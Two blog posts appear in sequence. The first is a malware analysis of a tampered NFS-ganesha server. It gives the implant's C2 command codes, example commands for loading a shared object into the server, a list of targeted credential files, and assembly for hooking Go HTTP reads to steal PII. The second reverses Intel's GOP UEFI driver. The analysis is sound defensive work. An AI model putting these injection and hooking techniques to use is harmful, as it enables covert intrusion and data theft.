The memory dump was truncated, but had a corrupt version of NFS-ganesha inside. There were two libfsalvfs.so libraries loaded: the original one and an injected SO file with the same name. The injected file was clearly malicious. The main binary was patched in a few places, and the function table into libfsalvfs.so as replaced with the alternate libfsalvfs.so. The alternate file was compiled from NFS-ganesha sources, but modified to include new and improved (wink wink) functionality.

The most interesting of the new functionality were two separate implementations of covert channels.

The first one we encountered already:

  • When an open request comes in with 'open-id' instead of 'open id', the file handle is marked. This change is opaque to the NFS server, so unpatched servers just ignore it and nothing much happens.
  • For infiltrated NFS server, when the file handle opened this way is read, the NFS server appends the last block with a payload coming from the malware's runtime storage, and the 'eof' on-the-wire value is changed to be the new total size. An unpatched kernel (which shouldn’t really happen, since it marked the file in the first place) will just ignore the extra bytes. The EOF value is used as a bool, e.g. checked for 0 or not and not a specific value, so having a large integer values doesn’t change anything in the flow of an unmodified kernel.

The second covert channel is used for command and control, and is implemented in the VFS code as a fake directory.

Any writes to /<export>/.snapshot/meta/<cmdid> are handled by the malware code and not passed on to the FS. They are pseudo-files that implement commands through read and write operations.

The malware implemented the following commands:

  • 1701 - self destruct
  • 1702 - set auto self destruct time
  • 1703 - run shell command
  • 1704 - load SO file from buffer specified in command
  • 1706 - get basic system description
  • 1707 - get network connections
  • 170A - upgrade to new SO file
  • 74201 - put buffer in memory dict by ID
  • 74202 - get buffer from memory dict by ID
  • 74650 - put a payload in memory for the first covert channel
  • 74651 - arm the first covert channel
  • 74652 - disarm the first covert channel

For example cp payload.so /mnt/server/.snapshot/meta/1704 will load the SO file in the NFS ganesha process on the target server, and echo 1616580589 > /mnt/server/.snapshot/meta/1702 will set an autodestruct time. Reading this file will retrieve the time.

The self destruct command (0x1701) is very interesting - it sends a UDP broadcast on port 41701 with a random payload of size 321 bytes, and then restarts a clean NFS-ganesha. I guess this is some kind of network signalling.

It appears the malware has a watchdog that iterates over all /proc/<pid>/fd/* links every 25ms, and if a link is open to /proc/<malware pid>/maps or /proc/<malware pid>/smaps or /proc/<malware pid>/mem it:

  • kills the offending process,
  • deletes any writeable file handle it had opened (before it was killed) in /proc/<pid>/fd/, first trying to wipe it,
  • calls the self destruct command (0x1701).

Further forensics

Lets go back to that awful Saturday I triggered the self-destruct. Having a faint understanding I triggered something (that being before I reversed the devil) I asked Klaus to disconnect all the network connections to the outer world and we started taking memory dumps of whatever we could, storing them all on the laptop. In hindsight we destroyed quiet a bit of evidence by triggering more self destructs in other subnets, but I think the self destruct signal has already gone out to the bad guys through a different piece of malware that I later partially recovered, and probably "heard" the UDP distress signal (that's what is was called in the binary, not my naming).

After getting all the forensics the client insisted on reconnecting his systems to the web, they were "losing money". I switched from forensics to reversing. In the process, while inspecting the malicious libfsalvfs.so I discovered the commands I mentioned above, and discovered a "feature" that helped me fill more paces of the puzzle.

Reversing malware you always find some feeble attempt to obfuscate string using XOR or RC4, or just scrambling the letter ordering. In this case I pretty quickly found a function I called get_obfuscated_string(buffer, string_id). The difference however, was that this one was just horrendous, practically irreversible:

NFS capture hist

It had like a billion nested switches:

NFS capture hist

I think they let some intern fresh out of college write that one. It seems the complete list of strings used by the tool are encoded inside in a tree of nested switches, with a variable length encoding, e.g. in one branch the 2nd level might have 3 bits and in another it might have 5 and in a third only a single bit. Some kind of prefix tree if I remember anything from Uni.

Eventually I managed to write code to just brute force the function:

#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <string>
#include <set>

int main(int argc, char* argv[])
{
	// error handling code omitted
	const char* filename = (argc > 1) ? argv[1] : "reconstructed.elf";
	unsigned long offset = (argc > 1) ? strtol(argv[2], NULL, 16) : 0x22a0;

	int fd = open(filename, O_RDONLY);
	struct stat stbuf;
	fstat(fd, &stbuf);
	const char* addr = (char*)mmap(NULL, stbuf.st_size, PROT_READ | PROT_EXEC, MAP_PRIVATE, fd, 0);
	close(fd);
	const char* base = addr + offset;

	typedef int (*entry_t)(char* outbuf, int id);
	entry_t entry = (entry_t)base;
	std::set<std::string> found;
	char buffer[1024];
	
	for(long bits = 1; bits < 64; ++ bits) {
		bool any_new = false;
		for(long id = (bits == 1) ? 0 : (1 << (bits - 1)); id < (1<<bits); ++ id) {
			int status = entry(buffer, id);
			if(status == 0)
				continue;
			if(found.find(buffer) != found.end())
				continue;
			found.insert(buffer);
			printf("Got '%s'! [0x%x]\n", buffer, id);
			any_new = true;
		}
		if(!any_new)
			break;
	}

	return 0;
}

This first binary had the following strings (I am keeping 3 to myself as they have client related info):

'/proc/self/mem', 
'/proc/self/maps',
'/proc/self/cwd',
'/proc/self/environ',
'/proc/self/fd/%d',
'/proc/self/fdinfo/%d',
'/proc/self/limits',
'/proc/self/cgroup',
'/proc/self/exe',
'/proc/self/cmdline',
'/proc/self/mounts',
'/proc/self/smaps',
'/proc/self/stat',
'/proc/%d/mem', 
'/proc/%d/maps',
'/proc/%d/cwd',
'/proc/%d/environ',
'/proc/%d/fd/%d',
'/proc/%d/fdinfo/%d',
'/proc/%d/limits',
'/proc/%d/cgroup',
'/proc/%d/exe',
'/proc/%d/cmdline',
'/proc/%d/mounts',
'/proc/%d/smaps',
'/proc/%d/stat',        
'nfs',
'nfs4',
'tmpfs',
'devtmpfs',
'procfs',
'sysfs',
'WSL2',
'/etc/os-release',
'/etc/passwd',
'/etc/lsb-release',
'/etc/debian_version',
'/etc/redhat-release',
'/home/%s/.ssh',
'/var/log/wtmp',
'/var/log/syslog',
'/var/log/auth.log',
'/var/log/cron.log',
'/var/log/syslog.log',
'/etc/netplan/*.yaml',
'/etc/yp.conf',
'/var/yp/binding/',
'/etc/krb5.conf',
'/var/kerberos/krb5kdc/kdc.conf',
'/var/log/ganesha.log',
'/etc/ganesha/ganesha.conf',
'/etc/ganesha/exports',
'/etc/exports',
'Error: init failed',
'DELL',
'/usr/lib/x86_64-linux-gnu/libnfs.so.4',
'/tmp/.Test-unix/.fa76c5adb8c04239ff3034106842773b',
'Error: config missing',
'Error: sysdep missing',
'Running',
'LOG',
'/usr/lib/x86_64-linux-gnu/ganesha/libfsalvfs.so',
'none',
'/etc/sudoers',
'/proc/net/tcp',
'/proc/net/udp',
'/etc/selinux/config',
'libdl.so.2',
'libc-',
'.so',
'cluster-config',
'recovery-signal',

Eureka Moment

Staring endlessly at this weird function I thought to myself: maybe I can look for code that is structured like this in all the dumps we obtained. We have all those block of mov byte ptr [rdi+?], '?':

MoveRDI

So lets look for blocks of code that are highly dense with these opcodes:

import sys

with open(sys.argv[1], 'rb') as f:
    data = f.read()

STATE=None
for i in range(len(data) - 6):
    if ord(data[i]) == 0xc6 and ord(data[i + 1]) == 0x47:
        if STATE and (STATE[0] + STATE[1] + 0x40) >= i:
            STATE[1] = i - STATE[0]
            STATE[2] += 1
        else:
            if STATE and STATE[2] >= 20:
                print('Found region at 0x%x - 0x%x' % (STATE[0], STATE[0] + STATE[1]))
            STATE = [i, 4, 1] 

And I found them. Oh I did. Some adjustment even led to a version for ARM systems:

MoveRDIARM

The GOlang thingy

I finally found the payload that was sent over to the GW machines. It had 2 stages: the first was the 8192 buffer loaded through the first covert channel. The kernel was modified to inject this buffer into the GOlang application and hook it. This will get fairly technical, but I enjoyed it and so will you:

  • First note that in the Golang stdlib an HTTP connection can be read through the net/http.(connReader).Read function. The calls are made through a io.Reader interface, so the calls are made through a virtual table, and the call locations cannot be statically identified.
  • the kernel inject begins by allocating a bunch of RWX memory immediately after the GOlang binary - let's call it the trampoline area, and it will include two types of generated trampoline functions,
  • Next the ELF symbol table was used to find the 'net/http.(*connReader).Read' symbol,
  • What we’ll call the 1st trampoline function (code below) is copied to the trampoline area, patching the area marked with HERE with the first 9 bytes of net/http.(\*connReader).Read
  • mprotect(net_http_connReader_read & ~0xfff, 8192, PROT_EXEC | PROT_READ | PROT_WRITE)
  • modified the beginning of net/http.(\*connReader).Read to a near jump into the trampoline - using 5 bytes of the 9 original used by 'move rcx, fs:….' that are the preamble to function.

First trampoline function

     pop     rax            
     pop     rcx
     push    rcx
     push    rax
     mov     r11, cs:qword_<relocated>
     mov     rdi, rcx
     call    qword ptr [r11+8]
     pop     rax
     pop     rcx
     push    rcx
     mov     rcx, fs:0FFFFFFFFFFFFFFF8h <---- HERE
     cmp     rsp, [rcx+10h]
     jmp     rax
  • When the trampoline is called (from the new near jump in the beginning of net/http.(*connReader).Read) it examines the stack to locate the return address, and checks if a second type of trampoline we'll refer to as the return trampoline has already been allocated for the return address for the function,
  • If not it allocates a new trampoline per call location of net/http.(*connReader).Read from the code below, replacing 123456789ABCDEFh with the absolute address of a function in the malware,
  • GOlang uses memory for all function argument passing, so immediately after the virtual function call to Read() there will always be a 5 byte mov reg, [rsp+?] to load Read()'s result into a register. This mov instruction is copied into the first db 5 dup(0) area,
  • those same 5 bytes are then replacing with a near jump to the 2nd trampoline
  • the 2nd db 5 dup(0) are filled with a relative near jmp back to the original code patch site.
        mov     rax, 123456789ABCDEFh
        mov     rdi, rsp
        call    rax
        db 5 dup(0)
        db 5 dup(0)      
    

This way eventually all the net/http.(*connReader).Read call sites are patched to call a function immediatly after net/http.(*connReader).Read virtual call returns. This lets the malicous code inspect the decoded HTTP packet.

On initialization the 1st stage malware also loads the hefty 2nd stage through the 2nd covert channel, and passes each buffer received from the patch on net/http.(*connReader).Read to it for inspection. The data collected is collected and compressed by the malware and stored back to the NFS server (the 2nd covert channel which bypasses read ACLs on NFS).

Before this case I did not think there was any nice way to hook random GO binaries, this technique is pretty cool.

Unfortunatly I cannot discuss what the 2nd payload actually as it will reveal stuff my employer isn't ready for yet.

How the kernel got patched? and why not the golang app?

The golang app is built inside the CI/CD network segment. This segment can only be accessed through monitored jump hosts with MFA. Each day, the CI/CD pipline clones the source code from the GIT server, builds it, and automatically tests it in a pre-production segment. Once tested it gets digitally signed and uploaded to the NFS server. The running app self updates, checking the digital signature beforehand.

The kernel, on the other hand, is manually built by the guy responsible for it on his own laptop. He then digitally signs it and stores it on a server where it is used by the CI/CD pipeline. Fortunatly for us a commented out line in a script in the CI/CD pipline (a line that was not commented out in the GIT!) did not delete old versions of the kernel and we know which versions were tampered with.

We noticed a 3 month gap about 5 month ago, and it corresponded with the guy moving the kernel build from a Linux laptop to a new Windows laptop with a VirtualBox VM in it for compiling the kernel. It looks as if it took the attackers three months to gain access back into the box and into the VM build.

What we have so far

We found a bunch of malware sitting in the network collecting PII information from incoming HTTPS connection after they are decoded in a GOlang app. The data is exfiltrated through the malware network and eventually is sent to the bad guys. We have more info but I am still working on it, expect another blog post in the future with more details, samples, etc’.

Q&A

  • Q: What was the initial access vector?

    A: We have a pretty good idea, but I cannot publish it yet (RD and stuff). Stay tuned!

  • Q: Why didn't you upload anything to VT yet?

    A: A few reasons:

    • I need to make sure no client info is in the binaries - some of the binaries have hardcoded strings that cannot be shared
    • All of the binaries I have have been reconstructed from memory dumps, so are not in their original form. Does anyone know how to upload partial dumps into VT?
  • Q: It there a security vulnerability in GO? in the Kernel?

    A: Defenitly not! this is just an obnoxious attacker doing what obnoxious attacker do. I might even say the complexity of the stuff means they don’t have a 0day for this platform.

  • Q: What about YARA rules, C2 address, etc'?

    A: Wait for it, there is a lot more coming!

  • Q: Why did you publish instead of collecting more?

    A: To quote the client "I don't care who else they are attacking. I just want them off my lawn!", and he thinks publishing will prevent them from returning to THIS network. Hopefully what we publish next time will get them off other people’s lawns.

  • Q: Any Windows malware?

    A: Definitly, including what we believe is an EDR bypass. Still working on it.

  • Q: Any zero days?

    A: Maybe …

  • Q: Who are these bad guys you keep refering to?

    A: No clue. Didn’t find anything similiar published. There is now sure way to make anything except unsubstantiated guesses, and I won’t do that.

To be continued.

Security of the Intel Graphics Stack - Part 2 - FW <-> GuC

24 February 2021 at 05:00

Today we'll continue our voyage into the graphics subsystem components.

The question we'll try to answer is what kind of communications occur between the GuC and the rest of the system. In this post we'll look at firmware components and next post at Windows components.

For a reminder what the GuC is, look at part1 post .

Part 1: The IntelGOP DXE driver

The Intel Graphics Output Protocol (GOP) EFI DXE driver can be extracted in various versions from many UEFI capsules available through many vendors. For this post I redid my original analysis on a recent version from a CanonLake system.

The purpose of this exercise is to try and see whether the GOP driver communicates with the GuC over the PCIe bus (TL;dr: it doesn't)

The binary isn't to large - 84KB, so we can try to completely reverse engineer it. I used both IDA+HexRays and a dynamic analysis UEFI emulator I developed for just these cases. The emulator lets you run EFI DXE drivers in Windows simulating many UEFI services and allowing me to modify/inspect EFI interfaces, hook UEFI protocol structs, and even has some fuzzing capabilities.

Looking at the driver's entrypoint we see it stores the different service tables in globals and then jumps to the main() functions I called GopEntryPoint().

.text:0000000000001580 ; EFI_STATUS __fastcall ModuleEntryPoint(EFI_HANDLE ImageHandle, EFI_SYSTEM_TABLE *SystemTable)
.text:0000000000001580                 public _ModuleEntryPoint
.text:0000000000001580 _ModuleEntryPoint proc near             ; DATA XREF: HEADER:00000000000000E8↑o
.text:0000000000001580                 sub     rsp, 28h
.text:0000000000001584                 mov     r8, [rdx+60h]
.text:0000000000001588                 mov     rax, [rdx+58h]
.text:000000000000158C                 mov     cs:gIMAGE_HANDLE, rcx
.text:0000000000001593                 mov     cs:gBOOT_SERVICES, r8
.text:000000000000159A                 mov     cs:gRUNTIME_SERVICES, rax
.text:00000000000015A1                 mov     cs:gBOOT_SERVICES2, r8
.text:00000000000015A8                 mov     cs:gSYSTEM_TABLE2, rdx
.text:00000000000015AF                 call    GopEntryPoint
.text:00000000000015B4                 add     rsp, 28h
.text:00000000000015B8                 retn
.text:00000000000015B8 _ModuleEntryPoint endp

GopEntryPoint() first part is really boring, just setting up version information in global strings.

_int64 __fastcall GopEntryPoint(EFI_HANDLE img_handle_arg)
{
  EFI_HANDLE image_handle; // rbx
  CHAR16 *driver_desc_ptr; // rax
  __int64 img_handle; // r11
  __int64 result; // rax
  EFI_HANDLE Handle; // [rsp+50h] [rbp+18h]
  EFI_LOADED_IMAGE_PROTOCOL *Interface; // [rsp+58h] [rbp+20h]

  image_handle = img_handle_arg;
  v2 = atoi(L"0") == 1;
  driver_desc_ptr = gDriverDescription;
  v4 = 'I';
  byte_142A0 = v2;
  do
  {
    *driver_desc_ptr = v4;
    ++driver_desc_ptr;
    v4 = *(CHAR16 *)((char *)driver_desc_ptr + (char *)L"Intel(R) GOP Driver" - (char *)gDriverDescription);
  }
  while ( v4 );
  *driver_desc_ptr = 0;
  strcat(gDriverDescription, L" [");
  strcat(gDriverDescription, L"11");
  strcat(gDriverDescription, L".");
  strcat(gDriverDescription, L"0");
  strcat(gDriverDescription, L".");
  strcat(gDriverDescription, L"1014");
  strcat(gDriverDescription, L"]");
  gDriverState.ImgHandle = img_handle;
  v12 = &gDriverVersion;
  v13 = '1';
  do
  {
    *v12 = v13;
    ++v12;
    v13 = *(CHAR16 *)((char *)v12 + (char *)L"11" - (char *)&gDriverVersion);
  }
  while ( v13 );
  *v12 = 0;
  strcat(&gDriverVersion, L".");
  strcat(&gDriverVersion, L"0");
  strcat(&gDriverVersion, L".");
  strcat(&gDriverVersion, L"1014");
  gDriverState.ControllerName = (__int64)L"Intel(R) Graphics Controller";
  gDriverState.DriverVersion = v17;
  atoi(L"11");
  atoi(L"0");
  v18 = atoi(L"1014");

The second part does the actual work. First it looks for the EFI_LOADED_IMAGE_PROTOCOL to setup a the unload routine:

  gDRIVER_BINDING_PROTOCOL.Version = v18 + v19;
  result = gBOOT_SERVICES->OpenProtocol(
             image_handle,
             &EFI_LOADED_IMAGE_PROTOCOL_GUID,
             (void **)&Interface,
             image_handle,
             image_handle,
             2u);
  if ( result >= 0 )
  {
    Interface->Unload = (EFI_IMAGE_UNLOAD)UnloadImage;

And then install four protocol handlers, three of which I identified: one for driver binding and two for component name handling. The InstallMultipleProtocolInterfaces(..) can accept multiple protocols, each protocol has a GUID and the “virtual table” like structure used by UEFI. The final entry is NULL. Most UEFI protocol GUIDs are public (and appear in the EDK) so we can identify them easily and this identify the virtual table structures associated with them, for example for the UEFI binding protocol we have in DriverBinding.h:

#define EFI_DRIVER_BINDING_PROTOCOL_GUID \
	{0x18A031AB,0xB443,0x4D1A,0xA5,0xC0,0x0C,0x09,0x26,0x1E,0x9F,0x71}

GUID_VARIABLE_DECLARATION(gEfiDriverBindingProtocolGuid, EFI_DRIVER_BINDING_PROTOCOL_GUID);

typedef struct _EFI_DRIVER_BINDING_PROTOCOL EFI_DRIVER_BINDING_PROTOCOL;

typedef EFI_STATUS (EFIAPI *EFI_DRIVER_BINDING_PROTOCOL_SUPPORTED) (
	IN EFI_DRIVER_BINDING_PROTOCOL *This, 
	IN EFI_HANDLE ControllerHandle,
	IN EFI_DEVICE_PATH_PROTOCOL *RemainingDevicePath OPTIONAL
);

typedef EFI_STATUS (EFIAPI *EFI_DRIVER_BINDING_PROTOCOL_START) (
	IN EFI_DRIVER_BINDING_PROTOCOL *This,
	IN EFI_HANDLE ControllerHandle,
	IN EFI_DEVICE_PATH_PROTOCOL *RemainingDevicePath OPTIONAL
);

typedef EFI_STATUS (EFIAPI *EFI_DRIVER_BINDING_PROTOCOL_STOP) (
	IN EFI_DRIVER_BINDING_PROTOCOL *This,
	IN EFI_HANDLE ControllerHandle,
	IN UINTN NumberOfChildren,
	IN EFI_HANDLE *ChildHandleBuffer OPTIONAL
);

struct _EFI_DRIVER_BINDING_PROTOCOL {
	EFI_DRIVER_BINDING_PROTOCOL_SUPPORTED Supported;
	EFI_DRIVER_BINDING_PROTOCOL_START Start;
	EFI_DRIVER_BINDING_PROTOCOL_STOP Stop;
	UINT32 Version;
	EFI_HANDLE ImageHandle;
	EFI_HANDLE DriverBindingHandle;
};

This enables us to reverse the rest of GopEntryPoint:

    Handle = image_handle;
    gBOOT_SERVICES->InstallMultipleProtocolInterfaces(
      &Handle,
      &EFI_DRIVER_BINDING_PROTOCOL_GUID,
      &gDRIVER_BINDING_PROTOCOL,
      &EFI_COMPONENT_NAME2_PROTOCOL_GUID,
      &gCOMPONENT_NAME2_PROTOCOL,
      0i64);
    gDRIVER_BINDING_PROTOCOL.DriverBindingHandle = Handle;
    gDRIVER_BINDING_PROTOCOL.ImageHandle = image_handle;
    gBOOT_SERVICES->InstallMultipleProtocolInterfaces(
      &gDRIVER_BINDING_PROTOCOL.DriverBindingHandle,
      &UNKNOWN_PROTOCOL_GUID,
      &gDriverState.unknwon_proto,
      0i64);
    result = gBOOT_SERVICES->InstallMultipleProtocolInterfaces(
               &gDRIVER_BINDING_PROTOCOL.DriverBindingHandle,
               &GOP_COMPONENT_NAME2_PROTOCOL_GUID,
               &gGOP_COMPONENT_NAME2_PROTOCOL,
               0i64);
    if ( result >= 0 )
      qword_142B0 = (__int64)image_handle;
  }
  return result;
}

All the GUID values appear close to each other at the beginning of the binary, so we can take a shortcut and find all the GUIDs the driver uses:

.text:0000000000000240 EFI_GRAPHICS_OUTPUT_PROTOCOL_GUID dd 9042A9DEh            ; Data1
.text:0000000000000240                                         ; DATA XREF: HEADER:00000000000000EC↑o
.text:0000000000000240                                         ; HEADER:00000000000001D4↑o ...
.text:0000000000000240                 dw 23DCh                ; Data2
.text:0000000000000240                 dw 4A38h                ; Data3
.text:0000000000000240                 db 96h, 0FBh, 7Ah, 0DEh, 0D0h, 80h, 51h, 6Ah; Data4
.text:0000000000000250 EFI_EDID_ACTIVE_PROTOCOL_GUID dd 0BD8C1056h           ; Data1
.text:0000000000000250                                         ; DATA XREF: InstallGraphicsProto+124↓o
.text:0000000000000250                                         ; uninstall2?+9B↓o ...
.text:0000000000000250                 dw 9F36h                ; Data2
.text:0000000000000250                 dw 44ECh                ; Data3
.text:0000000000000250                 db 92h, 0A8h, 0A6h, 33h, 7Fh, 81h, 79h, 86h; Data4
.text:0000000000000260 EFI_EDID_DISCOVERED_PROTOCOL_GUID dd 1C0C34F6h            ; Data1
.text:0000000000000260                                         ; DATA XREF: sub_1CA4+2A5↓o
.text:0000000000000260                                         ; InstallGraphicsProto+DF↓o ...
.text:0000000000000260                 dw 0D380h               ; Data2
.text:0000000000000260                 dw 41FAh                ; Data3
.text:0000000000000260                 db 0A0h, 49h, 8Ah, 0D0h, 6Ch, 1Ah, 66h, 0AAh; Data4
.text:0000000000000270 GOP_DISPLAY_BRIGHTNESS_PROTOCOL_GUID dd 6FF23F1Dh            ; Data1
.text:0000000000000270                                         ; DATA XREF: sub_1F78+B1↓o
.text:0000000000000270                                         ; uninstall2?+14B↓o ...
.text:0000000000000270                 dw 877Ch                ; Data2
.text:0000000000000270                 dw 4B1Bh                ; Data3
.text:0000000000000270                 db 93h, 0FCh, 0F1h, 42h, 0B2h, 0EEh, 0A6h, 0A7h; Data4
.text:0000000000000280 GOP_DISPLAY_BIST_PROTOCOL_GUID dd 0F51DD33Ah           ; Data1
.text:0000000000000280                                         ; DATA XREF: sub_1F78+75↓o
.text:0000000000000280                                         ; uninstall2?+F5↓o ...
.text:0000000000000280                 dw 0E57Fh               ; Data2
.text:0000000000000280                 dw 4020h                ; Data3
.text:0000000000000280                 db 0B4h, 66h, 0F4h, 0C1h, 71h, 0C6h, 0E4h, 0F7h; Data4
.text:0000000000000290 EFI_PCI_IO_PROTOCOL_GUID dd 4CF5B200h            ; Data1
.text:0000000000000290                                         ; DATA XREF: DriverBindingProtoSupported+CB↓o
.text:0000000000000290                                         ; DriverBindingProtoSupported+173↓o ...
.text:0000000000000290                 dw 68B8h                ; Data2
.text:0000000000000290                 dw 4CA5h                ; Data3
.text:0000000000000290                 db 9Eh, 0ECh, 0B2h, 3Eh, 3Fh, 50h, 2, 9Ah; Data4
.text:00000000000002A0 GOP_COMPONENT_NAME2_PROTOCOL_GUID dd 651B7EBDh            ; Data1
.text:00000000000002A0                                         ; DATA XREF: GopEntryPoint+22F↓o
.text:00000000000002A0                 dw 0CE13h               ; Data2
.text:00000000000002A0                 dw 41D0h                ; Data3
.text:00000000000002A0                 db 82h, 0E5h, 0A0h, 63h, 0ABh, 0BEh, 9Bh, 0B6h; Data4
.text:00000000000002B0 UNKNOWN_PROTOCOL_GUID dd 0DBCB2FCDh           ; Data1
.text:00000000000002B0                                         ; DATA XREF: UnloadImage+9A↓o
.text:00000000000002B0                                         ; GopEntryPoint+203↓o
.text:00000000000002B0                 dw 0E29Ah               ; Data2
.text:00000000000002B0                 dw 410Eh                ; Data3
.text:00000000000002B0                 db 9Dh, 0D9h, 0FAh, 9Dh, 5Fh, 0F4h, 0CDh, 0A7h; Data4
.text:00000000000002C0 MAYBE_AUX_PROTOCOL_GUID? dd 0C7D4703Bh           ; Data1
.text:00000000000002C0                                         ; DATA XREF: DriverBindingProtoStartImp+2A8↓o
.text:00000000000002C0                                         ; DriverBindingProtoStop+70↓o
.text:00000000000002C0                 dw 0F36h                ; Data2
.text:00000000000002C0                 dw 4E51h                ; Data3
.text:00000000000002C0                 db 0A9h, 83h, 5Eh, 61h, 0ACh, 0B8h, 68h, 3Ch; Data4
.text:00000000000002D0 EFI_DEVICE_PATH_PROTOCOL_GUID dd 9576E91h             ; Data1
.text:00000000000002D0                                         ; DATA XREF: DriverBindingProtoSupported+5F↓o
.text:00000000000002D0                                         ; DriverBindingProtoSupported+A2↓o ...
.text:00000000000002D0                 dw 6D3Fh                ; Data2
.text:00000000000002D0                 dw 11D2h                ; Data3
.text:00000000000002D0                 db 8Eh, 39h, 0, 0A0h, 0C9h, 69h, 72h, 3Bh; Data4
.text:00000000000002E0 ; EFI_GUID EFI_LOADED_IMAGE_PROTOCOL_GUID
.text:00000000000002E0 EFI_LOADED_IMAGE_PROTOCOL_GUID dd 5B1B31A1h            ; Data1
.text:00000000000002E0                                         ; DATA XREF: GopEntryPoint+169↓o
.text:00000000000002E0                 dw 9562h                ; Data2
.text:00000000000002E0                 dw 11D2h                ; Data3
.text:00000000000002E0                 db 8Eh, 3Fh, 0, 0A0h, 0C9h, 69h, 72h, 3Bh; Data4
.text:00000000000002F0 EFI_DRIVER_BINDING_PROTOCOL_GUID dd 18A031ABh            ; Data1
.text:00000000000002F0                                         ; DATA XREF: UnloadImage+BB↓o
.text:00000000000002F0                                         ; GopEntryPoint+1D2↓o
.text:00000000000002F0                 dw 0B443h               ; Data2
.text:00000000000002F0                 dw 4D1Ah                ; Data3
.text:00000000000002F0                 db 0A5h, 0C0h, 0Ch, 9, 26h, 1Eh, 9Fh, 71h; Data4
.text:0000000000000300 EFI_COMPONENT_NAME2_PROTOCOL_GUID dd 6A7A5CFFh            ; Data1
.text:0000000000000300                                         ; DATA XREF: UnloadImage+A1↓o
.text:0000000000000300                                         ; GopEntryPoint+1B8↓o
.text:0000000000000300                 dw 0E8D9h               ; Data2
.text:0000000000000300                 dw 4F70h                ; Data3
.text:0000000000000300                 db 0BAh, 0DAh, 75h, 0ABh, 30h, 25h, 0CEh, 14h; Data4

A few couldn't be identified. Another "fast forward" trick I can use is to find all locations protocols are installed or requested. If we look at how protocols are installed using gBOOT_SERVICES::InstallMultipleProtocolInterfaces:

.text:0000000000002938 FF 90 48 01 00 00                 call    qword ptr dword_148[rax]

We see the offset is pretty large, 0x148. We can just search for the wildcard "call qword ptr dword_148[reg]" and see if reg contains the global gBOOT_SERVICES. This way we can jump directly to the functions and identify what they do and name them:

Address	Function	Instruction
.text:000000000000188B	GopEntryPoint	                    FF 90 48 01 00 00                 call    [rax+EFI_BOOT_SERVICES.InstallMultipleProtocolInterfaces]
.text:00000000000018C3	GopEntryPoint	                    FF 90 48 01 00 00                 call    [rax+EFI_BOOT_SERVICES.InstallMultipleProtocolInterfaces]
.text:00000000000018E8	GopEntryPoint	                    FF 90 48 01 00 00                 call    [rax+EFI_BOOT_SERVICES.InstallMultipleProtocolInterfaces]
.text:0000000000001ECC	EnumConnectionsAndInstallEdidProto	FF 90 48 01 00 00                 call    [rax+EFI_BOOT_SERVICES.InstallMultipleProtocolInterfaces]
.text:0000000000001F50	EnumConnectionsAndInstallEdidProto	FF 90 48 01 00 00                 call    [rax+EFI_BOOT_SERVICES.InstallMultipleProtocolInterfaces]
.text:0000000000001FFA	InstallBrightnessProto	            FF 90 48 01 00 00                 call    [rax+EFI_BOOT_SERVICES.InstallMultipleProtocolInterfaces]
.text:0000000000002036	InstallBrightnessProto              FF 90 48 01 00 00                 call    [rax+EFI_BOOT_SERVICES.InstallMultipleProtocolInterfaces]
.text:000000000000221F	InstallGraphicsProto	            FF 90 48 01 00 00                 call    [rax+EFI_BOOT_SERVICES.InstallMultipleProtocolInterfaces]
.text:00000000000022A0	InstallGraphicsProto             	FF 90 48 01 00 00                 call    [rax+EFI_BOOT_SERVICES.InstallMultipleProtocolInterfaces]
.text:0000000000002938	DriverBindingProtoStartImp        	FF 90 48 01 00 00                 call    [rax+EFI_BOOT_SERVICES.InstallMultipleProtocolInterfaces]

This also gets as all the function tables for these protocols, and helps us understand the global state struct for the driver. Unlike C++, the UEFI function receive a This pointer that contains both data members and function pointers, for example for the GOP protocol:

...
typedef EFI_STATUS (EFIAPI *EFI_GRAPHICS_OUTPUT_PROTOCOL_BLT) (
    IN EFI_GRAPHICS_OUTPUT_PROTOCOL *This,
    IN EFI_GRAPHICS_OUTPUT_BLT_PIXEL *BltBuffer OPTIONAL,
    IN EFI_GRAPHICS_OUTPUT_BLT_OPERATION BltOperation,
    IN UINTN SourceX, IN UINTN SourceY,
    IN UINTN DestinationX, IN UINTN DestinationY,
    IN UINTN Width, IN UINTN Height,
    IN UINTN Delta OPTIONAL
);

typedef struct {
    UINT32 MaxMode;
    UINT32 Mode;
    EFI_GRAPHICS_OUTPUT_MODE_INFORMATION *Info;
    UINTN SizeOfInfo;
    EFI_PHYSICAL_ADDRESS FrameBufferBase;
    UINTN FrameBufferSize;
} EFI_GRAPHICS_OUTPUT_PROTOCOL_MODE;

struct _EFI_GRAPHICS_OUTPUT_PROTOCOL {
    EFI_GRAPHICS_OUTPUT_PROTOCOL_QUERY_MODE QueryMode;
    EFI_GRAPHICS_OUTPUT_PROTOCOL_SET_MODE SetMode;
    EFI_GRAPHICS_OUTPUT_PROTOCOL_BLT Blt;
    EFI_GRAPHICS_OUTPUT_PROTOCOL_MODE *Mode;
};

So the protocol structure has to be stored in some state structure. If the state structure is a singleton it can be stored as a global, but if we want multiple copies the driver allocates a state structure, places the protocol structure in a known offset within, and then can calculate the start of the structure from the This pointer provided to the protocol functions. We can use this information to try to piece together this global structre:

00000000 DriverState     struc ; (sizeof=0xE8, mappedto_92)
00000000                                         ; XREF: .text:gDriverState/r
00000000 language        dq ?                    ; offset
00000008 ImgHandle       dq ?                    ; XREF: GopEntryPoint+A9/w
00000010 field_10        dd ?
00000014 field_14        dd ?
00000018 graphics_proto  dq ?
00000020 field_20        dq ?                    ; XREF: GetDriverVersion+16/o
00000028 DriverVersion   dq ?                    ; XREF: GopEntryPoint+125/w
00000030 field_30        dq ?
00000038 active_proto_copy dq ?
00000040 field_40        dq ?                    ; XREF: GetControllerName+99/o
00000048 ControllerName  dq ?                    ; XREF: GopEntryPoint+11E/w
00000050 field_50        dq ?
00000058 field_58        dq ?
00000060 brightness_proto dq ?                   ; XREF: UnloadImage+8E/o
00000060                                         ; GopEntryPoint+1EE/o
00000068 name_proto      dq ?
00000070 bist_proto_orig GOP_DISPLAY_BIST_PROTOCOL_FUNC_TABLE ?
00000070                                         ; XREF: InstallBrightnessProto+50/o
00000080 bist_proto      GOP_DISPLAY_BIST_PROTOCOL ?
00000080                                         ; XREF: sub_44D8+21/o
00000080                                         ; sub_44D8+28/w ...
00000094 field_94        dd ?
00000098 field_98        dq ?                    ; XREF: sub_4900+24/o
00000098                                         ; sub_4900+2F/w ...
000000A0 field_A0        dq ?                    ; XREF: sub_4900+36/w
000000A0                                         ; sub_4900+319/r ...
000000A8 field_A8        dq ?                    ; XREF: sub_245C+14/r
